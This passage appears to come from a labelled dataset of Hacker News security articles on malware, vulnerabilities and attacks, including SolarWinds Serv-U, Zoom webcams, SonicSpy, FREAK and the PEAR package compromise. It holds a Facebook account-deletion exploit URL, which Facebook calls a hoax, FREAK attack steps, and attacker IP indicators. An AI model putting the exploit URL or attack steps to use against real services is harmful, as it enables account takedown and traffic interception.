""This release also features an in-browser updater, and a completely reorganized bundle directory structure to make this updater possible. This means that simply extracting a 4.0 Tor Browser over a 3.6.6 Tor Browser will not work,"" reads the blog post. ""Please also be aware that the security of the updater depends on the specific CA that issued the www.torproject.org HTTPS certificate (Digicert), and so it still must be activated manually through the Help (""?"") ""about browser"" menu option.""
""Very soon, we will support both strong HTTPS site-specific certificate pinning (ticket #11955) and update package signatures (ticket #13379). Until then, we do not recommend using this updater if you need stronger security and normally verify GPG signatures.""
TAILS VERSION 1.2 RELEASED
A new version Tails 1.2 has also been released. Tails, also known as 'Amnesiac Incognito Live System', is a free security-focused Debian-based Linux distribution, specially designed and optimized to preserve users' anonymity and privacy.

The operating system came into limelight when the global surveillance whistleblower Edward Snowden said that he had used it in order to remain Anonymous and keep his communications hidden from the law enforcement authorities.

",Cyber_Attack
Android 4.2 Jelly Bean Security Improvements overview,https://thehackernews.com/2012/11/android-42-jelly-bean-security.html,"Google is bringing a host of new features to its Android 4.2 Jelly Bean operating system designed to increase productivity, creativity and peace of mind and some very promising security improvements including: client side malware protection, Security Enhanced Linux, and always-on VPN.

Most important Security Improvements in Android 4.2 is that it now includes a service based on Bouncer that works with all apps, not just those on Google Play. For example, it can check the apps you download on the Amazon App Store, or from 3rd Party sites. Whenever user will install any app from a different source than the official market, and will scan it for any malicious code that may prove potentially harmful for your device.

Other than this, Users can now control how much data apps can access and share. This is made even more secure by something called VPN lockdown that can limit the amount of information sent over a connection that may not be secure or that is shared rather than private.

Another feature included is an SMS confirmation feature that alerts users to text messages sent from their devices that they may not have written or sent. If your phone is discovered one of these, it will stop the service and then let you decide if you want to allow the action to happen or not.

The app permissions screen has received a makeover, and is now providing more relevant information, along with being easier to read.
Security Enhanced (SE) Linux, Android now has native support for ""Security Enhanced"" Linux. SELinux brings low-level improvements to Android's Linux kernel such as: mitigation for privilege escalation attacks and stricter enforcement of least useable/application privilege.

Some other new features in Android 4.2 include gesture-based typing, Photo Sphere camera and multi-user option, allowing different people to log on to the same device much like multiple user accounts on your laptop or desktop.

I will demonstrate an Advance Android malware at Malcon Conference 2012 (an international malware conference) that can be configured online through a website and have 100's of features to control an Android device remotely even from a black & white mobile. Let's see how much the Malware will be able to penetrate Android 4.2 on 24th Nov 2012.

",Malware
A New Critical SolarWinds Zero-Day Vulnerability Under Active Attack,https://thehackernews.com/2021/07/a-new-critical-solarwinds-zero-day.html,"SolarWinds, the Texas-based company that became the epicenter of a massive supply chain attack late last year, has issued patches to contain a remote code execution flaw in its Serv-U managed file transfer service.
The fixes, which target Serv-U Managed File Transfer and Serv-U Secure FTP products, arrive after Microsoft notified the IT management and remote monitoring software maker that the flaw was being exploited in the wild. The threat actor behind the exploitation remains unknown as yet, and it isn't clear exactly how the attack was carried out.
""Microsoft has provided evidence of limited, targeted customer impact, though SolarWinds does not currently have an estimate of how many customers may be directly affected by the vulnerability,"" SolarWinds said in an advisory published Friday, adding it's ""unaware of the identity of the potentially affected customers.""
Impacting Serv-U versions 15.2.3 HF1 and before, a successful exploitation of the shortcoming (CVE-2021-35211) could enable an adversary to run arbitrary code on the infected system, including the ability to install malicious programs and view, change, or delete sensitive data.
As indicators of compromise, the company is urging administrators to watch out for potentially suspicious connections via SSH from the IP addresses 98[.]176.196.89 and 68[.]235.178.32, or via TCP 443 from the IP address 208[.]113.35.58. Disabling SSH access on the Serv-U installation also prevents compromise.
The issue has been addressed in Serv-U version 15.2.3 hotfix (HF) 2.
SolarWinds also stressed in its advisory that the vulnerability is ""completely unrelated to the SUNBURST supply chain attack"" and that it does not affect other products, notably the Orion Platform, which was exploited to drop malware and dig deeper into the targeted networks by suspected Russian hackers to spy on multiple federal agencies and businesses in one of the most serious security breaches in U.S. history.
A string of software supply chain attacks since then has highlighted the fragility of modern networks and the sophistication of threat actors to identify hard-to-find vulnerabilities in widely-used software to conduct espionage and drop ransomware, in which hackers shut down the systems of business and demand payment to allow them to regain control.

",Cyber_Attack
Hacking Facebook to delete any account; Facebook again refuses to pay Bounty,https://thehackernews.com/2013/09/hacking-facebook-to-delete-any-account.html,"In the past few days, Facebook refused to pay bounty to Khalil Shreateh, the security researcher who used the bug he discovered to post directly on Facebook CEO Mark Zuckerberg's Timeline after Facebook Security rejected his attempts to report it.

Ehraz Ahmed, an independent Security Researcher claimed that he reported a critical vulnerability to the Facebook Security team, which allows the attacker to delete any account from Facebook.
But Facebook refuses to Pay Bug Bounty, because he tested flaw once on his friend's account, ""I reported this bug to Facebook, I'm really not happy with them. After waiting for such a long time for their reply, they denied it saying that you used this bug only works for test accounts, where as I used it for removing real accounts and now the vulnerability is also fixed after their email."" he said on his blog.

Video Demonstration of Exploit:


Vulnerable URL:
https://www.facebook.com/ajax/whitehat/delete_test_users.php? fb_dtsg=AQA1E-WE&selected_users[0]=[Victems Profile ID]&__user=[Attackers Profile ID]&__a=1
Where selected_users[0] and __user parameters are vulnerable to run exploit.

The hacker also claimed that using the flaw hacker was also able to delete Facebook CEO Mark Zuckerberg's profile. For now the vulnerability is fixed by the Facebook team. Just four days before Facebook fixed another flaw that allowed hackers to delete photos of any user.

But Should these Bug Hunters now stop reporting to vendors and start selling exploits again in underground hacking forums ?

Note: We are trying to contact the Facebook Security team to get more information about this, Stay tuned for further updates on this.

Update : According to an official statement, provided to Computerworld blog by Michael Kirkland, communications manager at Facebook, they are calling Ahmed's claim a hoax.

This is not a real bug. We've audited our code to verify that there's no variant of the proposed exploit that works against this endpoint or any other that we've found. Furthermore, we've verified in our logs that the 'test account' being used in the demonstration video was manually deactivated by visiting https://www.facebook.com/deactivate.php.

This is simply a hoax. The html source shown in the video clearly says ""No test user was deleted"". We've verified in our logs that the victim account was manually deactivated by visiting https://www.facebook.com/deactivate.php.

Anyone can visit https://www.facebook.com/whitehat/accounts/ and verify that the query parameter used by this endpoint is selected_test_users not selected_users. We've also audited our code to verify that there's no variant of this exploit that works against that endpoint or any other that we've found. In fact, the most recent code change to this endpoint was in April and was routine maintenance that had no security implications.

",Vulnerability
VeriSign demands Power to takedown non-legitimate website,https://thehackernews.com/2011/10/verisign-demands-power-to-takedown-non.html,"VeriSign demands Power to takedown non-legitimate website
VeriSign, which manages the database of all .com internet addresses, wants powers to shut down ""non-legitimate"" domain names when asked to by law enforcement.

VeriSign should be able to shut down a .com or .net domain, and therefore its associated website and email, ""to comply with any applicable court orders, laws, government rules or requirements, requests of law enforcement or other governmental or quasi-governmental agency, or any dispute resolution process"", according to a document it filed today with domain name industry overseer ICANN.

The new powers would be international and, according to VeriSign's filing, could enable it to shut down a domain also when it receives ""requests from law enforcement"", without a court order.""Various law enforcement personnel, around the globe, have asked us to mitigate domain name abuse, and have validated our approach to rapid suspension of malicious domain names,"" VeriSign told ICANN, describing its system as ""an integrated response to criminal activities that utilize Verisign-managed [top-level domains] and DNS infrastructure"".

The request also separately asks for permission to launch a ""malware scanning service"", not dissimilar to the one recently introduced by ICM Registry, manager of the new .xxx extension.

ICANN's board of directors would have the make the ultimate decision whether to approve the anti-abuse policy and the malware-scanning service.VeriSign is already anticipating that there may be criticisms from internet users ""concerned about an improper takedown of a legitimate website"" and told ICANN it plans to implement a ""protest"" policy to challenge such decisions.
[Read More here]

",Malware
Virtual Machine for Android Reverse Engineering (A.R.E) Released,https://thehackernews.com/2011/11/virtual-machine-for-android-reverse.html,"Virtual Machine for Android Reverse Engineering (A.R.E) Released

The Honeynet Project release of the Android Reverse Engineering (A.R.E.) Virtual Machine. Do you need to analyze a piece of Android malware, but dont have all your analysis tools at hand? The Android Reverse Engineering (A.R.E.) Virtual Machine, put together by Anthony Desnos from our French chapter, is here to help. A.R.E. combines the latest Android malware analysis tools in a readily accessible toolbox.
Tools currently found on A.R.E. are:
Androguard
Android sdk/ndk
APKInspector
Apktool
Axmlprinter
Ded
Dex2jar
DroidBox
Jad
Smali/Baksmali
Download A.R.E

",Malware
"More than 1,000 Spyware Apps Found On Android App Stores",https://thehackernews.com/2017/08/android-spyware-apps-hack.html,"If you think you are downloading apps from Google Play Store and you are secure, then watch out!

Someone has managed to flood third-party app stores and Google Play Store with more than a thousand malicious apps, which can monitor almost anything a user does on their mobile device from silently recording calls to make outbound calls without the user's interaction.

Dubbed SonicSpy, the spyware has been spreading aggressively across Android app stores since at least February and is being distributed by pretending itself to be a messaging app—and it actually offers a messaging service.

SonicSpy Can Perform a Whole Lots of Malicious Tasks
At the same time, the SonicSpy spyware apps perform various malicious tasks, including silently recording calls and audio from the microphone, hijacking the device's camera and snap photos, making outbound calls without the user's permission, and sending text messages to numbers chosen by the attacker.

Besides this, the SonicSpy spyware also steals user information including call logs, contacts and information about Wi-Fi access point the infected device has connected to, which could easily be used to track the user's location.

The spyware was discovered by security researchers at mobile security firm Lookout. The researchers also uncovered three versions of the SonicSpy-infected messaging app in the official Google Play Store, which had been downloaded thousands of times.
Although the apps in question—Soniac, Hulk Messenger and Troy Chat—have since been removed by Google from the Play Store, they are still widely available in third-party app stores along with other SonicSpy-infected apps.

Iraq Connection to the SonicSpy Spyware

The researchers believe the malware is related to a developer based in Iraq and say the overall SonicSpy malware family supports 73 different remote instructions that its attacker could execute on an infected Android device.

The connection of Iraq to the spyware stems from similarities between SonicSpy and SpyNote, another Android malware that was discovered in July 2016, which was masquerading as a Netflix app and was believed to have been written by an Iraqi hacker.
""There are many indicators that suggest the same actor is behind the development of both. For example, both families share code similarities, regularly make use of dynamic DNS services, and run on the non-standard 2222 port,"" says Lookout Security Research Services Technology Lead Michael Flossman.
Also, the important indicator is the name of the developer account behind Soniac, listed on the Google Play store, was ""iraqiwebservice.""

Here's How the SonicSpy Spyware Works

One of the SonicSpy-infected messaging apps that made it through Google's Play Store masqueraded as a communications tool called Soniac.

Once installed, Soniac removes its launcher icon from the smartphone menu to hide itself from the victim and connects to a command and control (C&C) server in an attempt to install a modified version of the Telegram app.

However, the app actually includes many malicious features which allowed the attackers to gain almost full control of the infected device and turn it a spy in your pocket that could silently record audio, make calls, take photos, and pilfer your personal data, including call logs, contacts and details about Wi-Fi access points.

Before being removed by Google, the app had already been downloaded between 1,000 and 5,000 times, but since it was part of a family of 1,000 variants, the malware could have infected many thousands more.

SonicSpy Could Get Into Play Store Again

Although SonicSpy-infected apps have now been removed from the Play Store, the researchers warned that the malware could potentially get into the Play Store again with another developer account and different app interface.
""The actors behind this family have shown that they're capable of getting their spyware into the official app store and as it's actively being developed, and its build process is automated, it's likely that SonicSpy will surface again in the future,"" the researchers warned.
While Google has taken many security measures to prevent malicious apps from making through Google's security checks, malicious apps still make their ways into the Play Store.

Just last month, we warned you about a clever malware, called Xavier, that was discovered in over 800 different Android apps that had been downloaded millions of times from Google Play Store and silently collected sensitive user data and can perform dangerous tasks.

In April, we reported about the BankBot banking trojan making its way to Google Play Store with the ability to get administrator privileges on infected devices and perform a broad range of malicious tasks, including stealing victim's bank logins.

In the same month, about 2 Million Android users fell victim to the FalseGuide malware hidden in more than 40 apps for popular mobile games, such as Pokémon Go and FIFA Mobile, on the official Google Play Store.

How to Protect yourself against such Malware

The easiest way to prevent yourself from being targeted by such clever malware, always beware of fishy apps, even when downloading them from official Google Play Store and try to stick to the trusted brands only.

Moreover, always look at the reviews left by users who have downloaded the app and verify app permissions before installing any app even from the official app stores and grant those permissions that are relevant for the app's purpose.

Also, do not download apps from third party source. Although in this case, the app is also being distributed through the official Play Store, most often victims became infected with such malware via untrusted third-party app stores.

Last but not the least, you are strongly advised to always keep good antivirus software on your device that can detect and block such malware before they infect your device, and keep your device and apps up-to-date.

",Malware
Flaw in Zoom Video Conferencing Software Lets Websites Hijack Mac Webcams,https://thehackernews.com/2019/07/webcam-hacking-video-conferencing.html,"If you use Zoom video conferencing software on your Mac computer—then beware—any website you're visiting in your web browser can turn on your device camera without your permission.

Ironically, even if you had ever installed the Zoom client on your device and simply uninstalled it, a remote attacker can still activate your webcam.

Zoom is one of the most popular cloud-based meeting platforms that provide video, audio, and screen sharing options to users, allowing them to host webinars, teach online courses, conduct online training, or join virtual meetings online.

In a Medium post published today, cybersecurity researcher Jonathan Leitschuh disclosed details of an unpatched critical security vulnerability (CVE-2019-13450) in the Zoom client app for Apple Mac computers, which if combined with a separate flaw, could allow attackers to execute arbitrary code on the targeted systems remotely.

Jonathan responsibly reported the security vulnerability to the affected company over 90 days ago, but the Zoom team failed to offer a proper security patch, putting privacy and security of its over 4 million users at risk.

The vulnerability leverages the click-to-join feature of the popular conferencing software that has been designed to automatically activate Zoom app installed on the system, allowing participants to quickly join a video-meeting through their web browser as soon as they click on an invite link, for example, https://zoom.us/j/492468757.

Jonathan found that to offer this feature the Zoom software runs a local web server on the system—on port 19421—that ""insecurely"" receives commands through the HTTPS GET paraments and any website in your opened web browser can interact with it.
To exploit this vulnerability an attacker needs to do is create an invite link through his account on the Zoom website and embed it on a third-party website as an image tag or using an iFrame and just convenience the targets into visiting that website.

""Enabling 'Participants: On' when setting up a meeting, I discovered that anyone joining my meeting automatically had their video connected,"" Jonathan said.

As soon as Mac users with Zoom client installed on their system visits the malicious website, it will forcefully launch the Zoom app and turn on their webcam, exposing them to attackers.

""This could be embedded in malicious ads, or it could be used as a part of a phishing campaign. If I were actually an attacker, I'd probably invest some time to also include the incrementing port logic that the code in the Javascript running on Zoom's site,"" Jonathan said.

Simply uninstalling the software is not enough to get rid of this problem as Jonathan explained the click-to-join feature also accepts a command that automatically reinstalls Zoom without users' intervention or permission.

Besides turning on the webcam, the vulnerability can also be abused to DoS attack the targeted Mac computer by simply sending a large number of repeated GET requests to the local server.

""Zoom did end up patching this vulnerability, but all they did was prevent the attacker from turning on the user's video camera,"" Jonathan said. ""They did not disable the ability for an attacker to forcibly join a call anyone visiting a malicious site.""

The vulnerability affects the latest version 4.4.4 of Zoom app for Mac.
In addition to Zoom, Jonathan also disclosed the vulnerability to both the Chromium and Mozilla teams, but since the issue does not actually reside in their web browsers, there's not much these companies can do.

However, the good news is that users can still fix this issue at their ends. All you need to do is manually disable the setting that allows Zoom to automatically turn your webcam on when joining a meeting.

For this, just go into the Zoom settings window and enable the ""Turn off my video when joining a meeting"" setting.

You can also run a series of Terminal commands, which you can find at the bottom of Jonathan's post, to uninstall the web server completely.

Zoom Responded to the Researcher's Findings

In a statement published later today, the company has acknowledged the issue but also added that ""because the Zoom client user interface runs in the foreground upon launch, it would be readily apparent to the user that they had unintentionally joined a meeting and they could change their video settings or leave immediately.""

Besides this, the company said they have ""no indication"" if the reported issues had been exploited to breach the privacy of any of their users.

Zoom also acknowledged other related concerns over its software and said the local denial of service (DOS) vulnerability reported by the researcher has already been fixed in May 2019, though the company said it did not force its users to update because it is ""empirically a low-risk vulnerability.""

The company also said it installs a limited-functionality web server when users install Zoom client to offer one-click-to-join meetings feature that could avoid users' extra click before joining every meeting, but it did not comment on why the server remains installed on the local machine even when a user chooses to uninstall the client software.

",Vulnerability
New Cridex Banking Trojan variant Surfaces with Self-Spreading Functionality,https://thehackernews.com/2014/07/new-cridex-banking-trojan-variant.html,"In an effort to infect large number of people, cybercriminals have developed a new malicious software program that contains functionality to spread itself quickly.

Geodo, a new version of the infamous Cridex (also known as Feodo or Bugat) banking information stealing Trojan works in conjunction with a worm that sends out emails automatically to continue its self-spreading infection method, effectively turning each infected Windows system in the botnet for infecting new targets, Seculert warned.

The Infected Windows systems in the botnet network download and install an additional piece of malware (i.e. an email worm) from the Botnet's command and control servers, provided with approximately 50,000 stolen SMTP account credentials including those of the associated SMTP servers.

The stolen SMTP credentials appeared to come from Cridex victims and with the help of those credentials, the malware then sends out emails from legitimate accounts to other potential victims, masquerading itself as a bank or financial organization, in an effort to continue its spread and majority of targets (over 46%) mostly belongs to Germany.
""The C&C provides the malware with a batch of 20 targeted email addresses.The malware is also given a from address, subject line, and email body text unique to this particular batch of emails. Once the malware has run through the batch, it is provided with a new batch of 20 emails. And with each new batch of emails the C&C also sends a new from address, subject line, and body.""
""The emails we have seen, written in German, contain a link prompting the recipient to download a zip file which contains an executable disguised as a PDF document,"" Seculert explains in a blog post published yesterday. ""By opening the file, Geodo [new version of Cridex] is installed on the newly infected endpoint, adding a new bot to the mix.""
Cridex is a banking worm that targets banks from around the world. It was traditionally been distributed via removable drives, or a malicious file dropped by other malware or unknowingly download of a file by users when visiting malicious sites.
After infection, when the user connects to his banking website, the variant malware selects the malicious code designed specifically for that bank and injects it into the user's browser. Ultimately, the injected script will attempt a money transfer.

Previous variants of Geodo are still targeting victims primarily from Germany, Austria, Hungary and the United States using phishing attack. Phishing mails include a link to download a zip file containing the malware disguised as an invoice or Shipment PDF file.

Malware that steals banking credentials has been a known problem for years, but now the threat is delivered directly to users from the email addresses of other innocent users, which has capability to spread by itself and compromises the intellectual property of a corporation, putting its business and reputation at risk.

",Malware
Windows Kernel Zero Day Vulnerability Found in Duqu Installer,https://thehackernews.com/2011/11/windows-kernel-zero-day-vulnerability.html,"Windows Kernel Zero Day Vulnerability Found in Duqu Installer

Duqu malware attack exploited a zero-day vulnerability in the Windows kernel, according to security researchers tracking the Stuxnet-like cyber-surveillance Trojan. The vulnerability has since been reported to Microsoft and Microsoft is working on a fix for the kernel vulnerability right now.

Researchers at the Laboratory of Cryptography and System Security (CrySyS) in Hungary confirmed the existence of the zero-day vulnerability and exploit in a brief note posted to its web site.

Our lab, the Laboratory of Cryptography and System Security (CrySyS) pursued the analysis of the Duqu malware and as a result of our investigation, we identified a dropper file with an MS 0-day kernel exploit inside. We immediately provided competent organizations with the necessary information such that they can take appropriate steps for the protection of the users.


The installer file is a Microsoft Word document (.doc) that exploits a previously unknown kernel vulnerability that allows code execution. We contacted Microsoft regarding the vulnerability and they're working diligently towards issuing a patch and advisory. When the file is opened, malicious code executes and installs the main Duqu binaries. The chart below explains how the exploit in the Word document file eventually leads to the installation of Duqu.

Other security vendors have reported infections in the following countries: • Austria • Hungary • Indonesia • United Kingdom • Iran - infections different from those observed by Symantec.

""Microsoft is collaborating with our partners to provide protections for a vulnerability used in targeted attempts to infect computers with the Duqu malware. We are working diligently to address this issue and will release a security update for customers through our security bulletin process,"" Jerry Bryant, group manager of response communications in Microsoft's Trustworthy Computing group said in a statement.

You can find Symantec updated whitepaper (version 1.3) here. Key updates in the Symantec whitepaper include:
• An unpatched zero-day vulnerability is exploited through a Microsoft Word document and installs Duqu
• Attackers can spread Duqu to computers in secure zones and control them through a peer-to-peer C&C protocol
• Six possible organizations in eight countries have confirmed infections
• A new C&C server (77.241.93.160) hosted in Belgium was discovered and has been shut down.

[Source]

",Vulnerability
Critical iOS vulnerability in Configuration Profiles pose malware threat,https://thehackernews.com/2013/03/critical-ios-vulnerability-in.html,"Israeli mobile security start-up Skycure has exposed a vulnerability that could allow hackers to control and spy on iPhones. A major security vulnerability for iOS configuration profiles pose malware threat.

The vulnerability affects a file known as mobileconf files, which are used by cell phone carriers to configure system-level settings. These can include Wi-Fi, VPN, email, and APN settings. Apple used to use them to deliver patches, and carriers sometimes use them to distribute updates.
Adi Sharabani, CEO and co-founder of Skycure, made a demonstration that how sensitive information, including the victim's exact location, could be retrieved, while also controlling the user's iPhone.


In Demo, he setup a fake website with a prompt to install a configuration profile and sent the link out to Victim. After installing it, he found out they were able to pull passwords and other data without his knowledge.
These malicious profiles can be emailed or downloaded from Web pages and after being installed, and attacker able to change a large number of iPhone settings.

If used maliciously, these profiles can be very dangerous. Even though their use is approved by Apple, they aren't subject to the standard sandboxing rules that apply to third party App Store apps and websites.

Other than an attack on privacy, this could lead to more dangerous consequences as an example, it is quite easy to change a GPS destination while driving and send the smartphone owner to a location the attacker chooses.

",Malware
FACT : One in five Microsoft logins controlled by hackers,https://thehackernews.com/2012/07/fact-one-in-five-microsoft-logins.html,"About 20 percent of Microsoft Account logins are found on lists of compromised credentials in the wake of hack attacks on other service providers, Eric Doerr, Group Program Manager for Microsoft's Account system said.

A significant proportion of compromised credentials Microsoft sees from other services have the same username and password on the Microsoft account system (formerly Windows Live ID) logins, which cover services such as Hotmail, Messenger and SkyDrive. These logins have not been compromised from the Microsoft server, but are instead based on login information leaked from other sites.

""These attacks shine a spotlight on the core issue people reuse passwords between different websites,"" he said. Microsoft regularly gets lists of compromised third-party login details from ISPs, law enforcement and vendors, as well as from lists published on the internet by hackers, according to Doerr. This information is checked against Microsoft login details using an automated process to check for any overlap. While 20 percent is the average, in one recent breach it was only 4.5 percent, said Doerr.

Like Just last week, both Yahoo! Voices and the Android forums at website Phandroid were hacked, resulting in the leakage of almost 1.5 million usernames and passwords. When a list of usernames and passwords are leaked, it seems that Microsoft have been running these against its database looking for matches. The results are quite shocking.

Company also revealed that it is working to tighten its security and one of such measures is going to be increase in the character limit in passwords to make Brute Force attack more difficult.

We Request to Readers, DON'T REUSE YOUR PASSWORDS!

",Malware
Three Chinese Hackers Fined $9 Million for Stealing Trade Secrets,https://thehackernews.com/2017/05/chinese-hacker-trade-secrets.html,"Hackers won't be spared.

Three Chinese hackers have been ordered to pay $8.8 million (£6.8 million) after hacking email servers of two major New York-based law firms to steal corporate merger plans in December 2016 and used them to trade stocks.

The U.S. District Judge Valerie Caproni in Manhattan sued 26-year-old Iat Hong, 30-year-old Bo Zheng, and 50-year-old Hung Chin, over a multi-million dollar insider trading scam.

According to BBC News, the U.S. Securities Exchange Commission (SEC) alleged the three hackers targeted 7 different law firms, but managed to installed malware on networks belonging to two law firms only, then compromised their IT admin accounts that gave the trio access to every email account at the firms.

Access to the email and web servers allowed them to gain information on planned business mergers and/or acquisitions. The trio then used this information to buy company stock before the deal, and then sell it after the public announcement of the merger or acquisition.

The hackers made more than $4 Million in illegal profits and could face at least decades-long prison sentences if found guilty.
""The trio then bought shares in listed companies ahead of announcements about their merger plans – something that often causes the stock to jump,"" BBC says.
""The counts against them include conspiracy to commit securities fraud, conspiracy to commit wire fraud, wire fraud, conspiracy to commit computer intrusion, unlawful access, and intentional damage.""
All the three hackers were charged in December 2016 both by the Securities and Exchange Commission (SEC), and the Department of Justice (DoJ). However, neither of them identified the affected law firms.

Mr. Hong has been ordered to pay $1.8 Million, Mr. Zheng to pay $1.9 Million, and Mr. Chin to pay $4 Million. Any United States assets they own will also be seized.

For now, only Hong, who was arrested in last December in Hong Kong, is in custody and yet to be extradited to the United States, while other two cyber criminals are on the run.

",Malware
Someone Hacked PHP PEAR Site and Replaced the Official Package Manager,https://thehackernews.com/2019/01/php-pear-hacked.html,"Beware! If you have downloaded PHP PEAR package manager from its official website in past 6 months, we are sorry to say that your server might have been compromised.

Last week, the maintainers at PEAR took down the official website of the PEAR (pear-php.net) after they found that someone has replaced original PHP PEAR package manager (go-pear.phar) with a modified version in the core PEAR file system.

Though the PEAR developers are still in the process of analyzing the malicious package, a security announcement published on January 19, 2019, confirmed that the allegedly hacked website had been serving the installation file contaminated with the malicious code to download for at least half a year.

The PHP Extension and Application Repository (PEAR) is a community-driven framework and distribution system that offers anyone to search and download free libraries written in PHP programming language.

These open-source libraries (better known as packages) allows developers to easily include additional functionalities into their projects and websites, including authentication, caching, encryption, web services, and many more.

When you download PHP software for Unix/Linux/BSD systems, PEAR download manager (go-pear.phar) comes pre-installed, whereas Windows and Mac OS X users need to install the component when required manually.
Since many web hosting companies, including shared hosting providers, also allow their users to install and run PEAR, this latest security breach could impact a large number of websites and their visitors.
""If you have downloaded this go-pear.phar in the past six months, you should get a new copy of the same release version from GitHub (pear/pearweb_phars) and compare file hashes. If different, you may have the infected file,"" the note on the official PEAR website reads.
According to the PEAR maintainers, the team is currently performing a forensic investigation to determine what is the extent of the attack and how the attackers managed to compromise the server in the first place.

A new clean version 1.10.10 of pearweb_phars is now available on Github, which ""re-releases the correct 'go-pear.phar' as v1.10.9, the file that was found tainted on the 'https://pear.php.net' server, and now includes separate GPG signature files with each 'phar.""

The developers further notified that only the copy on the pear.php.net server was impacted, to their knowledge, and that the GitHub copy of go-pear.phar is not compromised.

Since the PEAR officials have just put out a warning notification and not released any details about the security incident, it is still unclear that who is behind the attack.

The developers tweeted that they will publish a ""more detailed announcement"" on the PEAR Blog once it's back online.

All PHP/PEAR users who have downloaded the installation file go-pear.phar from the official website in the past six months should consider themselves compromised and quickly download and install the Github version.

UPDATE — The PEAR team has published more details about the recent security incident, explaining the tainted ""go-pear.phar"" found on its server appeared to be planted after the last official file release on 20 December 2018.

After analyzing the tainted version of the package manager, the team found that the malicious module ""spawn a reverse shell via Perl to IP 104.131.154.154"" from the infected servers, allowing attackers to take complete control over them, including the ability to install apps, run malicious code, and steal sensitive data.

According to the DCSO, a German cybersecurity organization who also analyzed the tainted code, the server IP address 104.131.154.154 points to a web domain bestlinuxgames[.]com, which it believes was a compromised host used by the attackers.

""This IP has been reported to its host in relation to the taint. No other breach was identified. The install-pear-nozlib.phar was ok. The go-pear.phar file at GitHub was ok, and could be used as a good md5sum comparison for any suspect copies,"" PEAR team said in a series of tweets.

""So, if you downloaded go-pear.phar since 12/20 in order to run it once to install the PEAR package on your system, you *should* be concerned, particularly if your system has 'sh' and 'perl' available.""

""If you downloaded go-pear.phar before 12/20, we have no concrete evidence you received an infected file... but it would be prudent to check your system if you used go-pear.phar to perform a PEAR installation in the last several months.""

""Also note that this does *not* affect the PEAR installer package itself... it affects the go-pear.phar executable that you would use to initially install the PEAR installer. Using the 'pear' command to install various PEAR package is *not* affected.""
",Cyber_Attack
'FREAK' — New SSL/TLS Vulnerability Explained,https://thehackernews.com/2015/03/freak-openssl-vulnerability.html,"Another new widespread and disastrous SSL/TLS vulnerability has been uncovered that for over a decade left Millions of users of Apple and Android devices vulnerable to man-in-the-middle attacks on encrypted traffic when they visited supposedly 'secured' websites, including the official websites of the White House, FBI and National Security Agency.

Dubbed the ""FREAK"" vulnerability (CVE-2015-0204) - also known as Factoring Attack on RSA-EXPORT Keys - enables hackers or intelligence agencies to force clients to use older, weaker encryption i.e. also known as the export-grade key or 512-bit RSA keys.

FREAK vulnerability discovered by security researchers of French Institute for Research in Computer Science and Automation (Inria) and Microsoft, resides in OpenSSL versions 1.01k and earlier, and Apple's Secure Transport.

90s WEAK EXPORT-GRADE ENCRYPTION
Back in 1990s, the US government attempted to regulate the export of products utilizing ""strong"" encryption and devices were loaded with weaker ""export-grade"" encryption before being shipped out of the country.

At that time, it was allowed a maximum key length of 512 bits for ""export-grade"" encryption. Later in 2000, with the modification of the US export laws, vendors were able to include 128-bit ciphers in their products and were able to distribute these all over the world.

The only problem is that ""export-grade"" cryptography support was never removed and now three decades later, FREAK vulnerability make it significantly easier for hackers to decode the website's private key and decrypt passwords, login cookies, and other sensitive information from HTTPS connections.

HOW FREAK VULNERABILITY WORKS ?
Assistant Research Professor Matthew Green of Johns Hopkins University's Information Security Institute in Maryland summarizes the FREAK vulnerability in a blog post detailing how a hacker could perform MitM attack:
In the client's Hello message, it asks for a standard 'RSA' ciphersuite.
The MITM attacker changes this message to ask for 'export RSA'.
The server responds with a 512-bit export RSA key, signed with its long-term key.
The client accepts this weak key due to the OpenSSL/Secure Transport bug.
The attacker factors the RSA modulus to recover the corresponding RSA decryption key.
When the client encrypts the 'pre-master secret' to the server, the attacker can now decrypt it to recover the TLS 'master secret'.
From here on out, the attacker sees plain text and can inject anything it wants.
36% SSL WEBSITES VULNERABLE TO HACKERS
A scan of more than 14 million websites that support the SSL/TLS protocols found that more than 36% of them were vulnerable to the decryption attacks that support RSA export cipher suites (e.g., TLS_RSA_EXPORT_WITH_DES40_CBC_SHA).

Cracking a 512-bit key back in the '90s would have required access to supercomputers of that time, but today, it can be done in seven hours and cost nearly $100 per website only.

It is possible to carry out FREAK vulnerability attack when a user running a vulnerable device — currently includes Android smartphones, iPhones and Macs running Apple's OS X operating system — connects to a vulnerable HTTPS-protected website. At the moment, Windows and Linux end-user devices were not believed to be affected.

'FREAK' VULNERABILITY SIMILAR TO 'POODLE'
FREAK vulnerability is similar to last year's POODLE flaw or Padding Oracle On Downgraded Legacy Encryption, which allowed hackers to downgrade the entire SSL/TLS Internet-communication security suite to the weakest possible version. FREAK affects only those SSL/TLS implementations that accept export versions of protocols that use the RSA encryption algorithm.
Security researchers are maintaining a list of top vulnerable websites and encourage web server administrators to disable support for export suites, including all known insecure ciphers, and enable forward secrecy.

You can also use an Online SSL FREAK Testing Tool to check whether a website is vulnerable or not.

APPLE AND GOOGLE PLANS TO FIX FREAK
Google said an Android patch has already been distributed to partners. Meanwhile, Google is also calling on all websites to disable support for export certificates.

Apple also responded to the FREAK vulnerability and released a statement that, ""We have a fix in iOS and OS X that will be available in software updates next week.""

",Vulnerability
Unpatched Microsoft Word Flaw is Being Used to Spread Dridex Banking Trojan,https://thehackernews.com/2017/04/microsoft-word-dridex-trojan.html,"If you are a regular reader of The Hacker News, you might be aware of an ongoing cyber attack — detected in the wild by McAfee and FireEye — that silently installs malware on fully-patched computers by exploiting an unpatched Microsoft Word vulnerability in all current versions of Microsoft Office.

Now, according to security firm Proofpoint, the operators of the Dridex malware started exploiting the unpatched Microsoft Word vulnerability to spread a version of their infamous Dridex banking trojan.

Dridex is currently one of the most dangerous banking trojans on the Internet that exhibits the typical behavior of monitoring a victim's traffic to bank sites by infiltrating PCs and stealing victim's online banking credentials and financial data.

The Dridex actors usually relied on macro-laden Word files to distribute the malware through spam messages or emails.

However, this is the first time when researchers found the Dridex operators using an unpatched zero-day flaw in Microsoft Word for distributing their banking trojan.

According to a blog post published Monday night by Proofpoint, the latest Dridex spam campaign is delivering Word documents weaponized with this zero-day to millions of recipients across several organizations, including banks primarily located in Australia.
""Emails in this campaign used an attached Microsoft Word RTF (Rich Text Format) document. Messages purported to be from ""[device]@[recipient's domain]."" [Device] may be ""copier"", ""documents"", ""noreply"", ""no-reply"", or ""scanner"","" Proofpoint researchers say.

